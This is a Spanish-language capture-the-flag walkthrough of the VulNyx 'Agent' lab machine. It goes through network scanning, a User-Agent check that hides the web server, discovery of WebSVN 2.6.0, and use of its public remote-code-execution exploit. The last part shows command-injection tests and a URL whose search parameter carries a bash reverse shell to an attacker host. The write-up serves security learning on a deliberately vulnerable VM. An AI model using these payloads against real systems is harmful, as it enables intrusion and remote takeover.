🍇
DeliciousHack Wiki
DiscordYoutube
  • 🖲️Spirit Admins [SAG]
  • 🥞VulNyx WriteUps
    • 🥯Introducción a VulNyx
    • 🖲️Node CTF - Writeup ES
    • 🖲️Agent CTF - Writeup ES
  • 🍧Redes
    • 🏓Squid Proxy Gnu/Linux
    • 🍬TOR + PROXYCHAINS
    • 📡Rangos de direcciones IP's
  • 🫐Criptografía
    • 🔑Claves Criptográficas
Con tecnología de GitBook
En esta página
  • Enumeración de Servicios y puertos expuestos a la red.
  • Enumeración de tecnologías web y protocolos TCP.
  • Explotación de vulnerabilidad en el software WebSVN.
  • Enumeración y Pivoting de usuarios en sistema.
  • Explotación y escalada hacia usuario administrador (root).

¿Te fue útil?

  1. VulNyx WriteUps

Agent CTF - Writeup ES

AnteriorNode CTF - Writeup ESSiguienteRedes

Última actualización hace 1 año

¿Te fue útil?

🍨 Índice de contenido. (Despliégame)

Enumeración de Servicios y puertos expuestos a la red.

Como es común en las máquinas desplegadas y virtualizadas en red local, se identifica la IP (host) de la VM víctima que este caso se apoda "Agent" y se puede utilizar la siguiente combinación de parámetros y filtros para un output optimizado.

Tabla descriptiva de los parámetros y filtros utilizados en la ejecución de arp-scan:

* arp-scan -l
* grep "08"
* sed '2q;d'
* awk {'print $1'}

Orden de sistema que permite listar con "-l" todos los dispositivos conectados en red local.

Se pinta por pantalla solo las líneas que contengan el dígito "08" dado que las MAC de virtual box se tipifican siempre por este dígito.

Con sed se indica que además se pinta únicamente la línea 2 del output.

Con awk se pinta y delimita por la primera cadena de caracteres de la línea pintada.

  • Ejemplo output con línea de caracteres completa:

┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# arp-scan -l | grep "08" | sed '2q;d'
192.168.1.100	08:00:27:a8:e8:35	PCS Systemtechnik GmbH
  • Ejemplo de output acotado por la primera cadena de caracteres:

┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# arp-scan -l | grep "08" | sed '2q;d' | awk {'print $1'}
192.168.1.100
  • Por último se redirige la ip hacia un archivo de texto para guardar la misma:

┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# arp-scan -l | grep "08" | sed '2q;d' | awk {'print $1'} > datitos
                                                                                                                                     
┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# cat datitos 
192.168.1.100

Se prosigue con la herramienta nmap realizando dos escaneos, el primero más rápido al sincronizar con los siguientes parámetros:

-sS
-Pn
-n
--min-rate
-p-

Sincronización TCP.

Omitir el descubrimiento de host.

No realizar resolución de DNS.

Enviar un mínimo de paquetes por segundo.

Escanear todo el rango de puertos (65535).

┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# nmap -sS -Pn -p- -n --min-rate=6969 192.168.1.100         
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-18 13:37 EST
Nmap scan report for 192.168.1.100
Host is up (0.00042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:A8:E8:35 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.56 seconds

Una vez se recopila el resultado del primer sondeo al activo, se procede con uno más centrado en extraer información de estos dos servicios abiertos, SSH por puerto 22 y HTTP por puerto 80. Para ello se ha utilizo los siguientes parámetros.

-sCV
-p22,80
-T4
-A
-oG

-V para probar los puertos abiertos y comprobar la versión. -C para utilizar los scripts de NSE por defecto de nmap.

Estipulo que puertos serán escaneados.

Marco un nivel 4 en velocidad de las perticiones.

Dectar y versionar trazas del sistema operativo.

Guardo el output en un archivo txt, en formato grepeable.

┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# nmap -sCV -p22,80 -A -T4 192.168.1.100 -oG nmap       
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-18 16:12 EST
Nmap scan report for 192.168.1.100
Host is up (0.00048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 a9a852f3cdec0d5b5ff3af5b3cdb76b6 (ECDSA)
|_  256 73f58e440cb90ae0e7310c04ac7efffd (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
MAC Address: 08:00:27:A8:E8:35 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.48 ms 192.168.1.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds

Ahora se comprueba estas versiones en las bases de datos de vulnerabilidades existentes, se adjunta una tabla documental sobre SSH y el gestor de contenido web NGINX

searchsploit -u 

En la tercera parte del proceso de instalación se señalan tres aspectos de interés:

  • El identificativo de paquetería que se utiliza para la actualización.

  • Los posibles paquetes que se pueden actualizar en sistema.

  • Los paquetes nuevos a instalar.

La actualización suele tardar unos minutos pero si el sistema lleva tiempo sin actualizar los repositorios generales dependientes de Kali Linux o aquellos usados para searchsploit, puede tardar mucho más tiempo así que paciencia. En el siguiente desplegable se puede observar el output que corresponde a la actualización.

Output/Salida de la actualización (despliégame).
┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# searchsploit -u   
[i] Updating via apt package management (Expect weekly-ish updates): exploitdb

Get:1 http://kali.download/kali kali-rolling InRelease [41.2 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [19.4 MB]
Get:3 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [45.7 MB]
Get:4 http://kali.download/kali kali-rolling/non-free amd64 Packages [226 kB]
Fetched 65.4 MB in 13s (4966 kB/s)                                                                                                  
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
1578 packages can be upgraded. Run 'apt list --upgradable' to see them.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages will be upgraded:
  exploitdb
1 upgraded, 0 newly installed, 0 to remove and 1577 not upgraded.
Need to get 30.2 MB of archives.
After this operation, 2665 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 exploitdb all 20231125-0kali1 [30.2 MB]
Fetched 30.2 MB in 1s (20.5 MB/s)    
(Reading database ... 398880 files and directories currently installed.)
Preparing to unpack .../exploitdb_20231125-0kali1_all.deb ...
Unpacking exploitdb (20231125-0kali1) over (20230301-0kali1) ...
Setting up exploitdb (20231125-0kali1) ...
Processing triggers for man-db (2.11.2-1) ...
Processing triggers for kali-menu (2023.1.7) ...

[*] apt update finished
[i] Updating via apt package management (Expect weekly-ish updates): exploitdb-papers

Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
1577 packages can be upgraded. Run 'apt list --upgradable' to see them.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  exploitdb-papers
0 upgraded, 1 newly installed, 0 to remove and 1577 not upgraded.
Need to get 2561 MB of archives.
After this operation, 2952 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 exploitdb-papers all 20221122-0kali1 [2561 MB]
Fetched 2561 MB in 1min 59s (21.5 MB/s)                                                                                             
Selecting previously unselected package exploitdb-papers.
(Reading database ... 399583 files and directories currently installed.)
Preparing to unpack .../exploitdb-papers_20221122-0kali1_all.deb ...
Unpacking exploitdb-papers (20221122-0kali1) ...
Setting up exploitdb-papers (20221122-0kali1) ...
Processing triggers for kali-menu (2023.1.7) ...

[*] apt update finished

Ahora se ejecuta searchsploit en busca de ataques para SSH y NGINX.

Resultados SSH
┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# searchsploit ssh  
--------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                     |  Path
--------------------------------------------------------------------------------------------------- ---------------------------------
(SSH.com Communications) SSH Tectia (SSH < 2.0-6.1.9.95 / Tectia 6.1.9.95) - Remote Authentication | linux/remote/23082.txt
(SSH.com Communications) SSH Tectia - USERAUTH Change Request Password Reset (Metasploit)          | unix/remote/23156.rb
AbsoluteTelnet 11.12 - 'SSH1/username' Denial of Service (PoC)                                     | windows/dos/48305.py
AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)                                     | windows/dos/48010.py
ABUS Security Camera TVIP 20000-21150 - LFI_ RCE and SSH Root Access                               | hardware/remote/51294.txt
Axessh 4.2 - 'Log file name' Denial of Service (PoC)                                               | windows/dos/46858.py
Axessh 4.2 - 'Log file name' Local Stack-based Buffer Overflow                                     | windows/local/46922.py
Axessh 4.2 - Denial of Service                                                                     | windows/dos/40699.txt
Ceragon FibeAir IP-10 - SSH Private Key Exposure (Metasploit)                                      | linux/remote/41679.rb
Cisco Catalyst 4000/5000/6000 6.1 - SSH Protocol Mismatch Denial of Service                        | hardware/dos/20509.pl
Core FTP LE 2.2 - 'SSH/SFTP' Remote Buffer Overflow (PoC)                                          | windows/dos/40828.py
Cypress Solutions CTM-200/CTM-ONE - Hard-coded Credentials Remote Root (Telnet/SSH)                | hardware/remote/50407.py
Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation                               | linux/remote/6094.txt
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service                                 | multiple/dos/1572.pl
Dropbear SSH 0.34 - Remote Code Execution                                                          | linux/remote/387.c
DropBearSSHD 2015.71 - Command Injection                                                           | linux/remote/40119.md
Eaton Xpert Meter 13.4.0.10 - SSH Private Key Disclosure                                           | hardware/remote/45283.rb
ECOA Building Automation System - Hard-coded Credentials SSH Access                                | hardware/remote/50282.txt
ExaGrid - Known SSH Key and Default Password (Metasploit)                                          | linux/remote/41680.rb
F5 BIG-IP - SSH Private Key Exposure (Metasploit)                                                  | hardware/remote/19099.rb
FaceSentry Access Control System 6.4.8 - Remote SSH Root                                           | hardware/remote/47067.py
fipsShop - Multiple SQL Injections                                                                 | asp/webapps/29189.txt
FLIR Thermal Camera F/FC/PT/D - SSH Backdoor Access                                                | hardware/remote/42787.txt
Fortinet FortiGate 4.x < 5.0.7 - SSH Backdoor Access                                               | linux/remote/43386.py
FreeBSD OpenSSH 3.5p1 - Remote Command Execution                                                   | freebsd/remote/17462.txt
freeSSHd - Denial of Service (PoC)                                                                 | windows/dos/18268.txt
freeSSHd 1.0.9 - Key Exchange Algorithm Buffer Overflow                                            | windows/remote/1787.py
freeSSHd 1.0.9 - Key Exchange Algorithm String Buffer Overflow (Metasploit)                        | windows/remote/16461.rb
freeSSHd 1.2 - 'SSH2_MSG_NEWKEYS' Remote Denial of Service                                         | linux/dos/31218.txt
freeSSHd 1.2.1 - 'rename' Remote Buffer Overflow (SEH)                                             | windows/remote/8295.pl
freeSSHd 1.2.1 - (Authenticated) Remote Overflow (SEH)                                             | windows/remote/5751.pl
freeSSHd 1.2.1 - (Authenticated) Remote Stack Overflow (PoC)                                       | windows/dos/5709.pl
freeSSHd 1.2.1 - (Authenticated) SFTP 'realpath' Remote Buffer Overflow (PoC)                      | windows/dos/6812.pl
freeSSHd 1.2.1 - (Authenticated) SFTP 'rename' Remote Buffer Overflow (PoC)                        | windows/dos/6800.pl
freeSSHd 1.2.4 - Denial of Service                                                                 | windows/dos/11842.py
freeSSHd 1.2.6 - Authentication Bypass (Metasploit)                                                | windows/remote/24133.rb
FreeSSHd 1.3.1 - 'FreeSSHDService' Unquoted Service Path                                           | windows/local/48044.txt
freeSSHd 1.3.1 - Denial of Service                                                                 | windows/dos/38001.py
freeSSHd 2.1.3 - Remote Authentication Bypass                                                      | windows/remote/23080.txt
Git 1.9.5 - 'ssh-agent.exe' Buffer Overflow (PoC)                                                  | windows/dos/38336.py
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read                                             | linux/local/258.sh
Go SSH servers 0.0.2 - Denial of Service (PoC)                                                     | linux/dos/48121.py
GoodTech SSH - 'SSH_FXP_OPEN' Remote Buffer Overflow                                               | windows/remote/6804.pl
Google Chrome < M72 - Use-After-Free in RenderProcessHostImpl Binding for P2PSocketDispatcherHost  | multiple/dos/46474.txt
Huawei HG630a / HG630a-50 - Default SSH Admin Password on ADSL Modems                              | hardware/remote/38663.txt
iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address      | multiple/dos/47608.txt
iMessage - Decoding NSSharedKeyDictionary Can Read Object Out of Bounds                            | ios/dos/47415.txt
Ipswitch WS_FTP Server with SSH 6.1.0.0 - Remote Buffer Overflow (PoC)                             | windows/dos/5044.pl
Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS)                                      | multiple/webapps/50490.txt
libSSH - Authentication Bypass                                                                     | linux/remote/45638.py
LibSSH 0.7.6 / 0.8.4 - Unauthorized Access                                                         | linux/remote/46307.py
Loadbalancer.org Enterprise VA 7.5.2 - Static SSH Key                                              | unix/remote/32371.txt
Mambo Component Ahsshop - SQL Injection                                                            | php/webapps/36103.txt
Mambo Component Ahsshop 1.51 - 'vara' SQL Injection                                                | php/webapps/5335.txt
Mercurial - Custom hg-ssh Wrapper Remote Code Exec (Metasploit)                                    | python/remote/41942.rb
Microsoft Windows XP - 'TSShutdn.exe' Remote Denial of Service                                     | windows/dos/25268.txt
Microtik SSH Daemon 6.44.3 - Denial of Service (PoC)                                               | hardware/dos/48228.txt
MikroTik RouterOS - sshd (ROSSSH) Remote Heap Corruption                                           | hardware/remote/28056.txt
MTPutty 1.0.1.21 - SSH Password Disclosure                                                         | windows/local/50574.txt
Navicat 12.0.29 - 'SSH' Denial of Service (PoC)                                                    | windows_x86-64/dos/45705.py
NethServer 7.3.1611 - Cross-Site Request Forgery (Create User / Enable SSH Access)                 | json/webapps/42580.html
Novell Netware 6.5 - OpenSSH Remote Stack Overflow                                                 | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite                                                         | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration                                                           | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                     | linux/remote/45210.py
OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One                                                  | unix/remote/21314.txt
OpenSSH 2.x/3.x - Kerberos 4 TGT/AFS Token Buffer Overflow                                         | linux/remote/21402.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (1)                                               | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2)                                               | unix/remote/21579.txt
OpenSSH 4.3 p1 - Duplicated Block Remote Denial of Service                                         | multiple/dos/2444.sh
OpenSSH 6.8 < 6.9 - 'PTY' Local Privilege Escalation                                               | linux/local/41173.c
OpenSSH 7.2 - Denial of Service                                                                    | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection                                            | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration                                                               | linux/remote/40136.py
OpenSSH < 6.6 SFTP (x64) - Command Execution                                                       | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution                                                             | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalati | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading                                           | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                                                               | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files                                                         | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - 'gossh.sh' Remote Users Ident                                                | linux/remote/26.sh
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool                                                  | linux/remote/25.c
OpenSSHd 7.2p2 - Username Enumeration                                                              | linux/remote/40113.txt
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH            | linux/remote/5622.txt
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH            | linux/remote/5720.py
OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Ruby)     | linux/remote/5632.rb
Pelco Sarix/Spectra Cameras - Cross-Site Request Forgery (Enable SSH Root Access)                  | hardware/webapps/42308.txt
phpBB 2.0.10 - 'ssh.D.Worm' Bot Install Altavista                                                  | php/webapps/740.pl
Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack                                               | multiple/remote/3303.sh
Pragma Systems FortressSSH 5.0 - 'msvcrt.dll' Exception Handling Remote Denial of Service          | multiple/dos/30989.txt
Private Shell SSH Client 3.3 - Crash (PoC)                                                         | windows/dos/37149.py
ProSSHD 1.2 - (Authenticated) Remote (ASLR + DEP Bypass)                                           | windows/remote/12495.pl
ProSSHD 1.2 20090726 - Remote Buffer Overflow                                                      | windows/remote/11618.pl
PuTTY < 0.68 - 'ssh_agent_channel_data' Integer Overflow Heap Corruption                           | linux/dos/42137.txt
Quantum DXi V1000 2.2.1 - Static SSH Key                                                           | unix/remote/32372.txt
RSSH 2.x - Arbitrary Command Execution                                                             | linux/remote/24795.txt
SCP Client - Multiple Vulnerabilities (SSHtranger Things)                                          | multiple/remote/46193.py
SCPOnly 2.3/2.4 - SSH Environment Shell Escaping                                                   | linux/local/21732.txt
SecureCRT 2.4/3.x/4.0 - SSH1 Identifier String Buffer Overflow (1)                                 | windows/dos/21634.c
SecureCRT 2.4/3.x/4.0 - SSH1 Identifier String Buffer Overflow (2)                                 | windows/remote/21635.c
SecureCRT 4.0 Beta 2 SSH1 - Remote Buffer Overflow (Metasploit)                                    | windows/remote/16460.rb
Solaris SunSSH 11.0 x86 - libpam Remote Root                                                       | solaris/remote/49261.c
Solaris SunSSH 11.0 x86 - libpam Remote Root (2)                                                   | solaris/remote/49896.py
Solaris SunSSH 11.0 x86 - libpam Remote Root (3)                                                   | solaris/remote/50039.py
SSH (x2) - Remote Command Execution                                                                | multiple/remote/349.txt
SSH - User Code Execution (Metasploit)                                                             | multiple/remote/41694.rb
SSH 1.2.30 - Daemon Logging Failure                                                                | unix/remote/20615.txt
SSH 1.2.x - CRC-32 Compensation Attack Detector                                                    | unix/remote/20617.c
SSH 1.2.x - Secure-RPC Weak Encrypted Authentication                                               | unix/local/20560.c
SSH Communications Security SSH 1.2.27 - Authentication Socket File Creation                       | linux/local/19510.pl
SSH2 3.0 - Restricted Shell Escape (Command Execution)                                             | linux/local/21398.txt
SSH2 3.0 - Short Password Login                                                                    | unix/remote/21021.pl
Symantec Messaging Gateway 9.5/9.5.1 - SSH Default Password Security Bypass (Metasploit)           | linux/remote/21136.rb
Sysax 5.53 - SSH 'Username' Remote Buffer Overflow (Metasploit)                                    | windows/remote/18557.rb
Sysax 5.53 - SSH 'Username' Remote Buffer Overflow Remote Code Execution (Egghunter)               | windows/remote/18535.py
Sysax Multi Server 6.10 - SSH Denial of Service                                                    | windows/dos/24940.rb
Sysax Multi Server 6.40 - SSH Component Denial of Service                                          | windows/dos/38014.py
Tecnovision DLX Spot - SSH Backdoor Access                                                         | multiple/remote/42753.txt
Trustwave SWG 11.8.0.27 - SSH Unauthorized Access                                                  | linux/remote/44047.md
WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC)                                       | ios/dos/49883.py
WirelessHART Fieldgate SWG70 3.0 - Directory Traversal                                             | hardware/webapps/45342.txt
ZOC SSH Client - Buffer Overflow (SEH) (PoC)                                                       | windows/dos/37068.py
--------------------------------------------------------------------------------------------------- ---------------------------------
--------------------------------------------------------------------------------------------------- ---------------------------------
 Shellcode Title                                                                                   |  Path
--------------------------------------------------------------------------------------------------- ---------------------------------
Linux/x86 - Add User (sshd/root) To /etc/passwd Shellcode (149 bytes)                              | linux_x86/46689.c
Linux/x86 - Append RSA Key To /root/.ssh/authorized_keys2 Shellcode (295 bytes)                    | linux_x86/13330.c
Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes                               | linux_x86/45669.c
Linux/x86 - Remote Port Forwarding (ssh -R 9999:localhost:22 192.168.0.226) Shellcode (87 bytes)   | linux_x86/23622.c
--------------------------------------------------------------------------------------------------- ---------------------------------
--------------------------------------------------------------------------------------------------- ---------------------------------
 Paper Title                                                                                       |  Path
--------------------------------------------------------------------------------------------------- ---------------------------------
A Purple Team Study into “PowerLessShell” Tool - Paper                                         | docs/english/49095-a-purple-team
Analyze & Attack SSH Protocol                                                                      | docs/vietnamese/44296-analyze-&-
Roaming Through the OpenSSH Client: CVE-2016-0777 and CVE-2016-0778                                | english/39247-roaming-through-th
[Italian] SSH/SSL MITM    
Resultados NGINX
┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# searchsploit nginx
--------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                     |  Path
--------------------------------------------------------------------------------------------------- ---------------------------------
Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege Escalation                     | linux/local/40768.sh
Nginx 0.6.36 - Directory Traversal                                                                 | multiple/remote/12804.txt
Nginx 0.6.38 - Heap Corruption                                                                     | linux/local/14830.py
Nginx 0.6.x - Arbitrary Code Execution NullByte Injection                                          | multiple/webapps/24967.txt
Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < 0.4.14 - Denial of Service (PoC)  | linux/dos/9901.txt
Nginx 0.7.61 - WebDAV Directory Traversal                                                          | multiple/remote/9829.txt
Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection                                  | multiple/remote/33490.txt
Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download                                           | windows/remote/13822.txt
Nginx 0.8.36 - Source Disclosure / Denial of Service                                               | windows/remote/13818.txt
Nginx 1.1.17 - URI Processing SecURIty Bypass                                                      | multiple/remote/38846.txt
Nginx 1.20.0 - Denial of Service (DOS)                                                             | multiple/remote/50973.py
Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit)                         | linux/remote/25775.rb
Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC)                                                      | linux/dos/25499.py
Nginx 1.3.9/1.4.0 (x86) - Brute Force                                                              | linux_x86/remote/26737.pl
Nginx 1.4.0 (Generic Linux x64) - Remote Overflow                                                  | linux_x86-64/remote/32277.txt
PHP-FPM + Nginx - Remote Code Execution                                                            | php/webapps/47553.md
--------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
--------------------------------------------------------------------------------------------------- ---------------------------------
 Paper Title                                                                                       |  Path
--------------------------------------------------------------------------------------------------- ---------------------------------
Nginx Exploit Documentation About a Generic Way to Exploit Linux Targets                           | docs/english/27074-nginx-exploit
--------------------------------------------------------------------------------------------------- ---------------------------------

No existe ningún CVE o exploit que pueda ser de utilidad para estas versiones por lo que se continua con la metodología de enumeración.

Enumeración de tecnologías web y protocolos TCP.

┌──(root㉿maritrini)-[/home/kali]
└─# whatweb 192.168.1.100
http://192.168.1.100 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.22.1], IP[192.168.1.100], Title[Welcome to nginx!], nginx[1.22.1]
┌──(root㉿maritrini)-[/home/kali]
└─# curl -I 192.168.1.100
HTTP/1.1 403 Forbidden
Server: nginx/1.22.1
Date: Fri, 22 Dec 2023 17:37:34 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive

El output indica que no se puede realizar la conexión:

┌──(root㉿maritrini)-[/home/kali]
└─# testssl 192.168.1.100:80

###########################################################
    testssl       3.0.8 from https://testssl.sh/

      This program is free software. Distribution and
             modification under GPLv2 permitted.
      USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

       Please file bugs @ https://testssl.sh/bugs/

###########################################################

 Using "OpenSSL 3.0.8 7 Feb 2023 (Library: OpenSSL 3.0.8 7 Feb 2023)" [~81 ciphers]
 on maritrini:/usr/bin/openssl
 (built: "Feb  7 20:42:42 2023", platform: "debian-amd64")


 Start 2023-12-22 12:49:01        -->> 192.168.1.100:80 (192.168.1.100) <<--

 rDNS (192.168.1.100):   --

 192.168.1.100:80 doesn't seem to be a TLS/SSL enabled server
 The results might look ok but they could be nonsense. Really proceed ? ("yes" to continue) --> yes
 Service detected:       Couldn't determine what's running on port 80, assuming no HTTP service => skipping all HTTP checks


 Testing protocols via sockets except NPN+ALPN 

 SSLv2      not offered (OK)
 SSLv3      not offered (OK)
 TLS 1      not offered
 TLS 1.1    not offered
 TLS 1.2    not offered
 TLS 1.3    not offered

Tras varias pruebas realizadas y gracias al recuerdo de un antiguo problema solucionando una petición de salida de un dispositivo hacia una url de internet (habilitar el flujo a través de un firewall en un servidor gestionado con Fedora WorkStation) y sumando la pista del nombre de la máquina CTF "Agent", se encuentra la técnica que permite la correcta enumeración de directorios y extensiones.

Esta técnica se basa en comprobar si el "user-agent" que está marcado por defecto en las peticiones, tiene un bloqueo de algún nivel y por ese motivo se recibe una respuesta 403. Curl permite la opción de utilizar un agente modificado en las peticiones y revela que efectivamente ahora se puede conectar la petición.

┌──(root㉿maritrini)-[/home/kali]
└─# curl -I 192.168.1.100 -A "Delcious-Agent" 
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 22 Dec 2023 18:00:59 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Sat, 09 Dec 2023 16:50:55 GMT
Connection: keep-alive
ETag: "65749aef-267"
Accept-Ranges: bytes
┌──(root㉿maritrini)-[/home/kali]
└─# wfuzz -c --hc=404,403 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -H "User-Agent: Delicius-Agent" -u 192.168.1.100/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.100/FUZZ
Total requests: 4715

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                             
=====================================================================

000002194:   200        23 L     75 W       615 Ch      "index.html"                                                        
000004512:   301        7 L      11 W       169 Ch      "websvn"                                                            

Total time: 6.968888
Processed Requests: 4715
Filtered Requests: 4713
Requests/sec.: 676.5785

Se accede por navegador gráfico y se observa una redirección al archivo listing.php que resuelve en un panel web de gestión.

Explotación de vulnerabilidad en el software WebSVN.

La versión que tiene el activo es una versión vulnerable por lo que se investiga en las diferentes bases de datos para recopilar información de como se efectúa la técnica de explotación.

En este caso, se utiliza la base de datos local (la cual se explica en un apartado anterior) y se realiza una búsqueda por versión y software, encontrando como resultado el exploit necesario para realizar el ataque de ejecución de comandos remota.

┌──(root㉿maritrini)-[/home/kali]
└─# searchsploit websvn 2.6.0
--------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                     |  Path
--------------------------------------------------------------------------------------------------- ---------------------------------
Websvn 2.6.0 - Remote Code Execution (Unauthenticated)                                             | php/webapps/50042.py
--------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

A través del parámetro "-m" se copia el archivo en Python que alberga el código del exploit, se debe indicar el identificador o nombre del exploit. Esta copia se genera en el directorio actual en donde se encuentre la sesión de tty donde se ejecuta el comando, una vez realizada la copia se cambia el valor de la variable PAYLOAD por comandos que interactúen con el servidor.

┌──(root㉿maritrini)-[/home/kali]
└─# searchsploit -m 50042.py       
  Exploit: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
      URL: https://www.exploit-db.com/exploits/50042
     Path: /usr/share/exploitdb/exploits/php/webapps/50042.py
    Codes: CVE-2021-32305
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/50042.py

Se revisa el código para entender lo que realiza por detrás el código programado en Python que permite automatizar el proceso.

Lo interesante de esta captura está en los recuadros rojos, donde se aprecia la variable de PAYLOAD que se debe modificar y la última parte que realiza la petición. La curiosidad siempre es buena por lo que se intenta realizar el proceso de forma manual para consensuar si la lectura del código es correcta. Se parte de la variable REQUEST_PAYLOAD que alberga una extensión del buscador de WebSVN (esto viene especificado en los CVE que están disponibles en el apartado anterior), se utiliza la url combinando la extensión y se obtiene que desde el navegador la respuesta es un 404 pero utilizando curl la respuesta cambia a 403.

┌──(root㉿maritrini)-[/home/kali]
└─# curl -I http://192.168.1.100/search.php?search=%22;{};%22 --random-agent
HTTP/1.1 403 Forbidden
Server: nginx/1.22.1
Date: Sun, 24 Dec 2023 15:20:10 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive

fg: %22: no such job
                                                                                                                                     
┌──(root㉿maritrini)-[/home/kali]
└─# curl -I http://192.168.1.100/search.php?search=%22;{};%22               
HTTP/1.1 403 Forbidden
Server: nginx/1.22.1
Date: Sun, 24 Dec 2023 15:20:22 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive

fg: %22: no such job

La ejecución de una revershell con bash no es posible manualmente con solo utilizar la petición directamente por lo que se examina un poco más el código de Python, utiliza el módulo anexo de "quote_plus" para formatear el tipo de petición que alberga el PAYLOAD, en la documentación oficial de esta librería se especifica las funciones del módulo.

La comprobación manual de este paso no surte efecto y queda como tarea pendiente para esta wiki, entender como gestionar este RCE de forma manual, mientras tanto para la finalización de este writeup, se continua con el uso del exploit.

192.168.1.100/search.php?search=";{%2Fbin%2Fbash -c 'bash -i >& %2Fdev%2Ftcp%2F192.168.1.62%2F6969 0>&1'};"

